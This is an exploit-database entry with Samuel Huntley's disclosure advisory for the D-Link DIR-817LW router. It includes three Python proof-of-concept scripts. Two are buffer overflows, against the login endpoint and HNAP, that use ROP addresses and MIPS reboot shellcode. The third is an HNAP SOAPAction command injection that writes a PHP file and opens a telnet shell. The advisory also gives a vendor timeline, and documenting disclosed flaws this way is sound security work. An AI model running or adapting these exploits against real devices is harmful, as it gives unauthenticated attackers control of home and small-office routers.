ID

VAR-E-201511-0649

EDB ID

38720

TITLE

D-Link DIR-817LW - Multiple Vulnerabilities - Hardware remote Exploit

DESCRIPTION

D-Link DIR-817LW - Multiple Vulnerabilities. CVE-130399 . remote exploit for Hardware platform

AFFECTED PRODUCTS

EXPLOIT

## Advisory Information

Title: DIR-817LW Buffer overflows and Command injection in authentication and HNAP functionalities
Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink)
CVE: None

Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060,
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061

However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares.The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes.

## Product Description

DIR-817LW -- Wireless AC750 Dual Band Cloud Router. Mainly used by home and small offices.

## Vulnerabilities Summary

Have come across 3 security issues in DIR-815 firmware which allows an attacker to exploit command injection and buffer overflows in authentication adn HNAP functionality. All of them can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed.

## Details

Buffer overflow in auth
----------------------------------------------------------------------------------------------------------------------
import socket
import struct

#Reboot shellcode in there

buf = "GET /dws/api/Login?id="
buf+="A"*2064+"AAAA" #s0 # uclibc system address
buf+="\x2A\xAF\xD0\x84" #s1 -- points to iret
buf+="\x2A\xB1\x4D\xF0" #s2 -- points to sleep
buf+="\x2A\xB1\x4D\xF0"
buf+="\x2A\xB1\x4D\xF0"
buf+="\x2A\xB1\x4D\xF0"
buf+="\x2A\xB0\xDE\x54" # s6 filled up with pointer to rop4 which is ultimate mission
buf+="\x2A\xB1\x4D\xF0"
buf+="\x2A\xAC\xAD\x70" # Retn address ROP gadget 1 that loads into $a0
buf+="C"*36 #
buf+="\x2A\xAC\xD5\xB4" # points to rop3
#buf+="1"*17 # exit payload
buf+="E"*16
buf+="\x3c\x06\x43\x21\x34\xc6\xfe\xdc\x3c\x05\x28\x12\x34\xa5\x19\x69\x3c\x04\xfe\xe1\x34\x84\xde\xad\x24\x02\x0f\xf8\x01\x01\x01\x0c" #reboot big endian
buf+="Y"*120 # ROP gadget 2 that loads into $t9
buf+="&password=A HTTP/1.1\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\nContent-Length:5000\r\n\r\nid="+"A"*5000+"\r\n\r\n"

print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.8", 80))
s.send(buf)

----------------------------------------------------------------------------------------------------------------------

Buffer overflow in HNAP
----------------------------------------------------------------------------------------------------------------------
import socket
import struct

# Working

buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ";sh;"+"B"*158
buf+="\x2A\xAF\xD0\x84" #s1 -- points to iret
buf+="\x2A\xB1\x4D\xF0" #s2 -- points to sleep
buf+="AAAA"+"AAAA"+"AAAA" #s3,s4,s5
buf+="\x2A\xB0\xDE\x54" # s6 filled up with pointer to rop4 which is ultimate mission
buf+="AAAA"
buf+="\x2A\xAC\xAD\x70" # Retn address ROP gadget 1 that loads into $a0
buf+="C"*36
buf+="\x2A\xAC\xD5\xB4" # points to rop3
buf+="C"*16
buf+="\x3c\x06\x43\x21\x34\xc6\xfe\xdc\x3c\x05\x28\x12\x34\xa5\x19\x69\x3c\x04\xfe\xe1\x34\x84\xde\xad\x24\x02\x0f\xf8\x01\x01\x01\x0c" #reboot big endian shell
buf+="B"*28+"\r\n" + "1\r\n\r\n"

print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.8", 80))
s.send(buf)
----------------------------------------------------------------------------------------------------------------------

Command injection
----------------------------------------------------------------------------------------------------------------------
import socket
import struct

# CSRF or any other trickery, but probably only works when connected to network I suppose and internal

buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ';echo "<?phpinfo?>" > passwd1.php;telnetd -p 9090;test\r\n' + "1\r\n\r\n"

print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("1.2.3.4", 80))
s.send(buf)

----------------------------------------------------------------------------------------------------------------------

## Report Timeline

* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.

## Credit

This vulnerability was found by Samuel Huntley

EXPLOIT LANGUAGE

txt

PRICE

free

TYPE

Multiple Vulnerabilities

CREDITS

Samuel Huntley

EXTERNAL IDS

REFERENCES

SOURCES

LAST UPDATE DATE

2024-03-21T15:20:53.909000+00:00

SOURCES RELEASE DATE